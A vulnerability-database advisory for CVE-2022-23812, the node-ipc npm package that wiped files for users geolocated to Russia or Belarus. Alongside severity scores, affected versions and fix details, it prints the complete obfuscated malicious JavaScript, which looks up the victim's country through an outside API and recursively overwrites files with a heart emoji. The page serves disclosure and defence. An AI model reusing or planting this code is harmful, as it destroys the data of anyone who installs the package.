Read the docs
TI-2022-07832 Aliases CVE-2022-23812GHSA-97m3-w2cp-4xx6

Malicious Package

Priority MEDIUM 49CWE-506Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
Code execution
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-506.

Summary

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };

Why it matters now

EPSS 0.04225 91st percentileScored 2026-11-07
Fix Fixed node-ipc: 10.1.3node-ipc (npm): 10.1.3

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—node-ipc10.1.1 and later; before 10.1.310.1.3Patch availableCNA
—node-ipc (npm)10.1.1 to before 10.1.310.1.3Patch availableGHSA-97m3-w2cp-4xx6
  • node-ipc Vendor— Affected 10.1.1 and later; before 10.1.3 Fixed in 10.1.3 Patch available CNA
  • node-ipc (npm) Vendor— Affected 10.1.1 to before 10.1.3 Fixed in 10.1.3 Patch available GHSA-97m3-w2cp-4xx6

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*10.1.1 to before 10.1.3; 11.0.0VulnerableNode-ipc Project
  • cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:* Versions 10.1.1 to before 10.1.3; 11.0.0 Vulnerable ·Node-ipc Project

Remediation

  • Fix · CNA node-ipc Fixed in 10.1.3
  • Fix · GHSA-97m3-w2cp-4xx6 node-ipc (npm) Fixed in 10.1.3 Advisory →

Timeline

  1. 2026-10-02 Threatist record created from CVE-2022-23812
  2. 2026-10-03 Alias added: GHSA-97m3-w2cp-4xx6

References

Sources